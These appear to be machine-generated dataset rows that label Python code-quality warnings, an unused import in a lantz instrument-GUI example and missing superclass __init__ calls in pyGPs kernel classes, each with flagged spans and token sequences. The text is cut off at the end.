[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
LabPy/lantz/examples/using_blocks/myapps.py
[ { "content": "# -*- coding: utf-8 -*-\n\"\"\"\n lantz.ui.qapp\n ~~~~~~~~~~~~\n\n Example backend and frontend for 2 different applications.\n\n :copyright: 2015 by Lantz Authors, see AUTHORS for more details.\n :license: BSD, see LICENSE for more details.\n\"\"\"\n\nimport time\n\nimport numpy as np\n\n# This is a plotting library that we are using. You could also use Matplotlib.\nimport pyqtgraph as pg\n\nfrom lantz import Q_\n\n# Import Qt modules from lantz (pyside and pyqt compatible)\nfrom lantz.utils.qt import QtGui, QtCore\n\nfrom lantz.ui.blocks import Loop, LoopUi\n\n# These classes simplify application development\nfrom lantz.ui.app import Frontend, Backend, InstrumentSlot\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class LoopOsciMeasure(Backend):\n \"\"\"An application that measures from an Osci in a loop.\n \"\"\"\n\n # Enumerate drivers required by the backend marking them with InstrumentSlot\n osci = InstrumentSlot\n\n # Embedded apps (Notice we embed the backend, not the Frontend)\n loop = Loop\n\n # This signal will be emitted when new data is available.\n new_data = QtCore.Signal(object)\n\n", "metadata": "root.LoopOsciMeasure", "header": "['module', '___EOS___']", "index": 29 }, { "content": " def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.loop.body = self.measure", "metadata": "root.LoopOsciMeasure.__init__", "header": "['class', 'LoopOsciMeasure', '(', 'Backend', ')', ':', '___EOS___']", "index": 42 }, { "content": " def measure(self, counter, iterations, overrun):\n data = self.osci.measure()\n self.new_data.emit(data)", "metadata": "root.LoopOsciMeasure.measure", "header": "['class', 'LoopOsciMeasure', '(', 'Backend', ')', ':', '___EOS___']", "index": 46 }, { "content": "class LoopPlot(Frontend):\n \"\"\"A frontend that has a loop UI and a plot. (Works form many things!)\n \"\"\"\n\n # a declarative way to indicate the user interface file to use.\n # The file must be located next to the python file where this class\n # is defined.\n gui = 'loop_plot.ui'\n\n # connect widgets to instruments using connect_setup automatically.\n auto_connect = True\n\n\n", "metadata": "root.LoopPlot", "header": "['module', '___EOS___']", "index": 51 }, { "content": " def setupUi(self):\n\n # This method is called after gui has been loaded (referenced in self.widget)\n # to customize gui building. In this case, we are adding a plot widget.\n self.pw = pg.PlotWidget()\n self.curve = self.pw.plot(pen='y')\n layout = QtGui.QVBoxLayout()\n layout.addWidget(self.pw)\n self.widget.plotParent.setLayout(layout)\n\n self.loopUi = LoopUi()\n layout = QtGui.QHBoxLayout()\n layout.addWidget(self.loopUi.widget)\n self.widget.loopParent.setLayout(layout)", "metadata": "root.LoopPlot.setupUi", "header": "['class', 'LoopPlot', '(', 'Frontend', ')', ':', '___EOS___']", "index": 63 }, { "content": " def connect_backend(self):\n\n # This method is called after gui has been loaded (referenced in self.widget)\n # and the backend is connected to the frontend (referenced in self.backend).\n # In this case, we use it to connect the scan button, to the default_scan\n # method in the backend, and the signal to the plot function.\n self.loopUi.backend = self.backend.loop\n self.backend.new_data.connect(self.plot)", "metadata": "root.LoopPlot.connect_backend", "header": "['class', 'LoopPlot', '(', 'Frontend', ')', ':', '___EOS___']", "index": 78 }, { "content": " def plot(self, y):\n self.curve.setData(y)", "metadata": "root.LoopPlot.plot", "header": "['class', 'LoopPlot', '(', 'Frontend', ')', ':', '___EOS___']", "index": 87 } ]
[ { "span": "import time", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 11 }, { "span": "import numpy as np", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 18 }, { "span": "from lantz import Q_", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 20 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "lant", "z", ".", "ui", ".", "qa", "pp", "\\", "10", ";", " ", " ", " ", " ", "~~~~~~~~~~~", "~", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ple", " ", "back", "end", " ", "and", " ", "front", "end", " ", "for", " ", "2", " ", "different", " ", "applica", "tion", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "copyr", "ight", ":", " ", "201", "5", " ", "by", " ", "Lan", "tz", " ", "Author", "s", ",", " ", "see", " ", "AUTHOR", "S", " ", "for", " ", "more", " ", "deta", "il", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "license", ":", " ", "BS", "D", ",", " ", "see", " ", "LICENSE", " ", "for", " ", "more", " ", "deta", "il", "s", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "plott", "ing", " ", "librar", "y", " ", "tha", "t", " ", "we", " ", "are", " ", "usi", "ng", ".", " ", "You", " ", "coul", "d", " ", "als", "o", " ", "use", " ", "Mat", "plotlib", "._", "\\u\\u\\uNL\\u\\u\\u_", "import_", "pyqt", "graph_", "as_", "pg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "lant", "z_", "import_", "Q", "\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Import", " ", "Qt", " ", "module", "s", " ", "from", " ", "lant", "z", " ", "(", "pys", "ide", " ", "and", " ", "pyqt", " ", "compatible", ")_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "lant", "z_", "._", "utils_", "._", "qt_", "import_", "Qt", "Gui_", ",_", "Qt", "Core_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "lant", "z_", "._", "ui_", "._", "blocks_", "import_", "Loop_", ",_", "Loop", "Ui_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "se", " ", "classe", "s", " ", "simplify", " ", "applica", "tion", " ", "develop", "ment_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "lant", "z_", "._", "ui_", "._", "app_", "import_", "Front", "end_", ",_", "Backend_", ",_", "Instrum", "ent", "Slot_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Loop", "Osc", "i", "Measure_", "(_", "Backend_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "An", " ", "applica", "tion", " ", "tha", "t", " ", "measure", "s", " ", "from", " ", "an", " ", "Osc", "i", " ", "in", " ", "a", " ", "loop", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Enumerate", " ", "driver", "s", " ", "require", "d", " ", "by", " ", "the", " ", "back", "end", " ", "marking", " ", "them", " ", "with", " ", "Instrum", "ent", "Slot_", "\\u\\u\\uNL\\u\\u\\u_", "osc", "i_", "=_", "Instrum", "ent", "Slot_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Emb", "edd", "ed", " ", "apps", " ", "(", "Noti", "ce", " ", "we", " ", "embed", " ", "the", " ", "back", "end", ",", " ", "not", " ", "the", " ", "Front", "end", ")_", "\\u\\u\\uNL\\u\\u\\u_", "loop_", "=_", "Loop_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "signal", " ", "will", " ", "be", " ", "emitte", "d", " ", "whe", "n", " ", "new", " ", "data", " ", "is", " ", "avail", "able", "._", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "data_", "=_", "Qt", "Core_", "._", "Signal_", "(_", "object_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Loop", "Osc", "i", "Measure_", "(_", "Backend_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "loop_", "._", "body_", "=_", "self_", "._", "measure_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Loop", "Osc", "i", "Measure_", "(_", "Backend_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "measure_", "(_", "self_", ",_", "counter_", ",_", "iterations_", ",_", "over", "run_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "self_", "._", "osc", "i_", "._", "measure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "new", "\\u", "data_", "._", "emit_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Loop", "Plot_", "(_", "Front", "end_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "A", " ", "front", "end", " ", "tha", "t", " ", "has", " ", "a", " ", "loop", " ", "UI", " ", "and", " ", "a", " ", "plot", ".", " ", "(", "Works", " ", "form", " ", "many", " ", "thing", "s", "!)", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "a", " ", "declarative", " ", "way", " ", "to", " ", "indicat", "e", " ", "the", " ", "user", " ", "interface", " ", "file", " ", "to", " ", "use", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "file", " ", "must", " ", "be", " ", "located", " ", "next", " ", "to", " ", "the", " ", "python", " ", "file", " ", "where", " ", "this", " ", "class_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "defin", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "gui_", "=_", "'", "loop", "\\u", "plot", ".", "ui", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "connect", " ", "widget", "s", " ", "to", " ", "instrument", "s", " ", "usi", "ng", " ", "connect", "\\u", "setup", " ", "automati", "call", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "auto", "\\u", "connect_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Loop", "Plot_", "(_", "Front", "end_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "setup", "Ui_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "method", " ", "is", " ", "call", "ed", " ", "after", " ", "gui", " ", "has", " ", "bee", "n", " ", "load", "ed", " ", "(", "referenced", " ", "in", " ", "self", ".", "widget", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "customize", " ", "gui", " ", "buildi", "ng", ".", " ", "In", " ", "this", " ", "case", ",", " ", "we", " ", "are", " ", "addin", "g", " ", "a", " ", "plot", " ", "widget", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pw_", "=_", "pg_", "._", "Plot", "Widget_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "curve_", "=_", "self_", "._", "pw_", "._", "plot_", "(_", "pen_", "=_", "'", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layout_", "=_", "Qt", "Gui_", "._", "QV", "Box", "Layout_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layout_", "._", "add", "Widget_", "(_", "self_", "._", "pw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "widget_", "._", "plot", "Parent_", "._", "set", "Layout_", "(_", "layout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "loop", "Ui_", "=_", "Loop", "Ui_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layout_", "=_", "Qt", "Gui_", "._", "Q", "HB", "ox", "Layout_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "layout_", "._", "add", "Widget_", "(_", "self_", "._", "loop", "Ui_", "._", "widget_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "widget_", "._", "loop", "Parent_", "._", "set", "Layout_", "(_", "layout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Loop", "Plot_", "(_", "Front", "end_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "connect", "\\u", "backend_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "method", " ", "is", " ", "call", "ed", " ", "after", " ", "gui", " ", "has", " ", "bee", "n", " ", "load", "ed", " ", "(", "referenced", " ", "in", " ", "self", ".", "widget", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "the", " ", "back", "end", " ", "is", " ", "connect", "ed", " ", "to", " ", "the", " ", "front", "end", " ", "(", "referenced", " ", "in", " ", "self", ".", "back", "end", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "In", " ", "this", " ", "case", ",", " ", "we", " ", "use", " ", "it", " ", "to", " ", "connect", " ", "the", " ", "scan", " ", "button", ",", " ", "to", " ", "the", " ", "default", "\\u", "scan_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "method", " ", "in", " ", "the", " ", "back", "end", ",", " ", "and", " ", "the", " ", "signal", " ", "to", " ", "the", " ", "plot", " ", "function", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "loop", "Ui_", "._", "backend_", "=_", "self_", "._", "backend_", "._", "loop_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "backend_", "._", "new", "\\u", "data_", "._", "connect_", "(_", "self_", "._", "plot_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Loop", "Plot_", "(_", "Front", "end_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plot_", "(_", "self_", ",_", "y_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "curve_", "._", "set", "Data_", "(_", "y_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Missing call to `__init__` during object initialization
marionmari/pyGPs/pyGPs/Core/cov.py
[ { "content": " def __init__(self):\n self.hyp = []\n self.para = []", "metadata": "root.Kernel.__init__", "header": "['class', 'Kernel', '(', 'object', ')', ':', '___EOS___']", "index": 66 }, { "content": "class ProductOfKernel(Kernel):\n '''Product of two kernel function.'''\n\n hyp = property(_getHyp,_setHyp)\n\n", "metadata": "root.ProductOfKernel", "header": "['module', '___EOS___']", "index": 228 }, { "content": " def __init__(self,cov1,cov2):\n self.cov1 = cov1\n self.cov2 = cov2\n self._hyp = cov1.hyp + cov2.hyp", "metadata": "root.ProductOfKernel.__init__", "header": "['class', 'ProductOfKernel', '(', 'Kernel', ')', ':', '___EOS___']", "index": 230 }, { "content": "class SumOfKernel(Kernel):\n '''Sum of two kernel function.'''\n hyp = property(_getHyp,_setHyp)\n\n", "metadata": "root.SumOfKernel", "header": "['module', '___EOS___']", "index": 263 }, { "content": " def __init__(self,cov1,cov2):\n self.cov1 = cov1\n self.cov2 = cov2\n self._hyp = cov1.hyp + cov2.hyp", "metadata": "root.SumOfKernel.__init__", "header": "['class', 'SumOfKernel', '(', 'Kernel', ')', ':', '___EOS___']", "index": 265 }, { "content": "class ScaleOfKernel(Kernel):\n '''Scale of a kernel function.'''\n hyp = property(_getHyp,_setHyp)\n\n", "metadata": "root.ScaleOfKernel", "header": "['module', '___EOS___']", "index": 297 }, { "content": " def __init__(self,cov,scalar):\n self.cov = cov\n if cov.hyp:\n self._hyp = [scalar] + cov.hyp\n else:\n self._hyp = [scalar]", "metadata": "root.ScaleOfKernel.__init__", "header": "['class', 'ScaleOfKernel', '(', 'Kernel', ')', ':', '___EOS___']", "index": 299 }, { "content": "class FITCOfKernel(Kernel):\n '''\n Covariance function to be used together with the FITC approximation.\n The function allows for more than one output argument and does not respect the\n interface of a proper covariance function.\n Instead of outputing the full covariance, it returns cross-covariances between\n the inputs x, z and the inducing inputs xu as needed by infFITC\n '''\n\n hyp = property(_getHyp,_setHyp)\n\n", "metadata": "root.FITCOfKernel", "header": "['module', '___EOS___']", "index": 330 }, { "content": " def __init__(self,cov,inducingInput):\n self.inducingInput = inducingInput\n self.covfunc = cov\n self._hyp = cov.hyp", "metadata": "root.FITCOfKernel.__init__", "header": "['class', 'FITCOfKernel', '(', 'Kernel', ')', ':', '___EOS___']", "index": 338 }, { "content": "class Gabor(Kernel):\n '''\n Gabor covariance function with length scale ell and period p. The\n covariance function is parameterized as:\n\n k(x,z) = h( ||x-z|| ) with h(t) = exp(-t^2/(2*ell^2))*cos(2*pi*t/p).\n\n The hyperparameters are:\n\n hyp = [log(ell), log(p)]\n\n Note that SM covariance implements a weighted sum of Gabor covariance functions, but\n using an alternative (spectral) parameterization.\n\n :param log_ell: characteristic length scale.\n :param log_p: period.\n '''\n\n\n", "metadata": "root.Gabor", "header": "['module', '___EOS___']", "index": 390 }, { "content": " def __init__(self, log_ell=0., log_p=0.):\n self.hyp = [log_ell, log_p]", "metadata": "root.Gabor.__init__", "header": "['class', 'Gabor', '(', 'Kernel', ')', ':', '___EOS___']", "index": 408 }, { "content": "class SM(Kernel):\n '''\n Gaussian Spectral Mixture covariance function. The\n covariance function is parameterized as:\n\n k(x^p,x^q) = w'*prod( exp(-2*pi^2*d^2*v)*cos(2*pi*d*m), 2), d = |x^p,x^q|\n\n where m(DxQ), v(DxQ) are the means and variances of the spectral mixture\n components and w are the mixture weights. The hyperparameters are:\n\n hyp = [ log(w), log(m(:)), log(sqrt(v(:))) ]\n\n Copyright (c) by Andrew Gordon Wilson and Hannes Nickisch, 2013-10-09.\n\n For more details, see\n 1) Gaussian Process Kernels for Pattern Discovery and Extrapolation,\n ICML, 2013, by Andrew Gordon Wilson and Ryan Prescott Adams.\n 2) GPatt: Fast Multidimensional Pattern Extrapolation with Gaussian\n Processes, arXiv 1310.5288, 2013, by Andrew Gordon Wilson, Elad Gilboa,\n Arye Nehorai and John P. Cunningham, and\n http://mlg.eng.cam.ac.uk/andrew/pattern\n\n :param log_w: weight coefficients.\n :param log_m: spectral means (frequencies).\n :param log_v: spectral variances.\n '''\n\n\n\n", "metadata": "root.SM", "header": "['module', '___EOS___']", "index": 452 }, { "content": " def __init__(self, Q=0, hyps=[], D=None):\n if D:\n self.hyp = np.random.random(Q*(1+2*D))\n else:\n self.hyp = hyps\n self.para = [Q]", "metadata": "root.SM.__init__", "header": "['class', 'SM', '(', 'Kernel', ')', ':', '___EOS___']", "index": 479 }, { "content": "class Poly(Kernel):\n '''\n Polynomial covariance function. hyp = [ log_c, log_sigma ]\n\n :param log_c: inhomogeneous offset.\n :param log_sigma: signal deviation.\n :param d: degree of polynomial (not treated as hyperparameter, i.e. will not be trained).\n '''\n\n", "metadata": "root.Poly", "header": "['module', '___EOS___']", "index": 622 }, { "content": " def __init__(self, log_c=0., d=2, log_sigma=0. ):\n self.hyp = [log_c, log_sigma]\n self.para = [d]", "metadata": "root.Poly.__init__", "header": "['class', 'Poly', '(', 'Kernel', ')', ':', '___EOS___']", "index": 630 }, { "content": "class PiecePoly(Kernel):\n '''\n Piecewise polynomial kernel with compact support.\n hyp = [log_ell, log_sigma]\n\n :param log_ell: characteristic length scale.\n :param log_sigma: signal deviation.\n :param v: degree v will be rounded to 0,1,2,or 3. (not treated as hyperparameter, i.e. will not be trained).\n '''\n\n\n\n\n\n\n", "metadata": "root.PiecePoly", "header": "['module', '___EOS___']", "index": 682 }, { "content": " def __init__(self, log_ell=0., v=2, log_sigma=0. ):\n self.hyp = [log_ell, log_sigma]\n self.para = [v]", "metadata": "root.PiecePoly.__init__", "header": "['class', 'PiecePoly', '(', 'Kernel', ')', ':', '___EOS___']", "index": 691 }, { "content": "class RBF(Kernel):\n '''\n Squared Exponential kernel with isotropic distance measure. hyp = [log_ell, log_sigma]\n\n :param log_ell: characteristic length scale.\n :param log_sigma: signal deviation.\n '''\n\n\n", "metadata": "root.RBF", "header": "['module', '___EOS___']", "index": 785 }, { "content": " def __init__(self, log_ell=0., log_sigma=0.):\n self.hyp = [log_ell, log_sigma]", "metadata": "root.RBF.__init__", "header": "['class', 'RBF', '(', 'Kernel', ')', ':', '___EOS___']", "index": 792 }, { "content": "class RBFunit(Kernel):\n '''\n Squared Exponential kernel with isotropic distance measure with unit magnitude.\n i.e signal variance is always 1. hyp = [ log_ell ]\n\n :param log_ell: characteristic length scale.\n '''\n\n", "metadata": "root.RBFunit", "header": "['module', '___EOS___']", "index": 831 }, { "content": " def __init__(self, log_ell=0.):\n self.hyp = [log_ell]", "metadata": "root.RBFunit.__init__", "header": "['class', 'RBFunit', '(', 'Kernel', ')', ':', '___EOS___']", "index": 838 }, { "content": "class RBFard(Kernel):\n '''\n Squared Exponential kernel with Automatic Relevance Determination.\n hyp = log_ell_list + [log_sigma]\n\n :param D: dimension of pattern. set if you want default ell, which is 1 for each dimension.\n :param log_ell_list: characteristic length scale for each dimension.\n :param log_sigma: signal deviation.\n '''\n\n", "metadata": "root.RBFard", "header": "['module', '___EOS___']", "index": 871 }, { "content": " def __init__(self, D=None, log_ell_list=None, log_sigma=0.):\n if log_ell_list is None:\n self.hyp = [0. for i in range(D)] + [log_sigma]\n else:\n self.hyp = log_ell_list + [log_sigma]", "metadata": "root.RBFard.__init__", "header": "['class', 'RBFard', '(', 'Kernel', ')', ':', '___EOS___']", "index": 880 }, { "content": "class Const(Kernel):\n '''\n Constant kernel. hyp = [ log_sigma ]\n\n :param log_sigma: signal deviation.\n '''\n\n", "metadata": "root.Const", "header": "['module', '___EOS___']", "index": 940 }, { "content": " def __init__(self, log_sigma=0.):\n self.hyp = [log_sigma]", "metadata": "root.Const.__init__", "header": "['class', 'Const', '(', 'Kernel', ')', ':', '___EOS___']", "index": 946 }, { "content": "class Linear(Kernel):\n '''\n Linear kernel. hyp = [ log_sigma ].\n\n :param log_sigma: signal deviation.\n '''\n\n", "metadata": "root.Linear", "header": "['module', '___EOS___']", "index": 985 }, { "content": " def __init__(self, log_sigma=0.):\n self.hyp = [ log_sigma ]", "metadata": "root.Linear.__init__", "header": "['class', 'Linear', '(', 'Kernel', ')', ':', '___EOS___']", "index": 991 }, { "content": "class LINard(Kernel):\n '''\n Linear covariance function with Automatic Relevance Detemination.\n hyp = log_ell_list\n\n :param D: dimension of training data. Set if you want default ell, which is 1 for each dimension.\n :param log_ell_list: characteristic length scale for each dimension.\n '''\n\n", "metadata": "root.LINard", "header": "['module', '___EOS___']", "index": 1027 }, { "content": " def __init__(self, D=None, log_ell_list=None):\n if log_ell_list is None:\n self.hyp = [0. for i in range(D)]\n else:\n self.hyp = log_ell_list", "metadata": "root.LINard.__init__", "header": "['class', 'LINard', '(', 'Kernel', ')', ':', '___EOS___']", "index": 1035 }, { "content": "class Matern(Kernel):\n '''\n Matern covariance function with nu = d/2 and isotropic distance measure.\n For d=1 the function is also known as the exponential covariance function\n or the Ornstein-Uhlenbeck covariance in 1d.\n d will be rounded to 1, 3, 5 or 7\n hyp = [ log_ell, log_sigma]\n\n :param d: d is 2 times nu. Can only be 1,3, 5, or 7\n :param log_ell: characteristic length scale.\n :param log_sigma: signal deviation.\n '''\n\n\n\n\n\n", "metadata": "root.Matern", "header": "['module', '___EOS___']", "index": 1077 }, { "content": " def __init__(self, log_ell=0., d=3, log_sigma=0. ):\n self.hyp = [ log_ell, log_sigma ]\n self.para = [d]", "metadata": "root.Matern.__init__", "header": "['class', 'Matern', '(', 'Kernel', ')', ':', '___EOS___']", "index": 1089 }, { "content": "class Periodic(Kernel):\n '''\n Stationary kernel for a smooth periodic function.\n hyp = [ log_ell, log_p, log_sigma]\n\n :param log_p: period.\n :param log_ell: characteristic length scale.\n :param log_sigma: signal deviation.\n '''\n\n", "metadata": "root.Periodic", "header": "['module', '___EOS___']", "index": 1185 }, { "content": " def __init__(self, log_ell=0., log_p=0., log_sigma=0. ):\n self.hyp = [ log_ell, log_p, 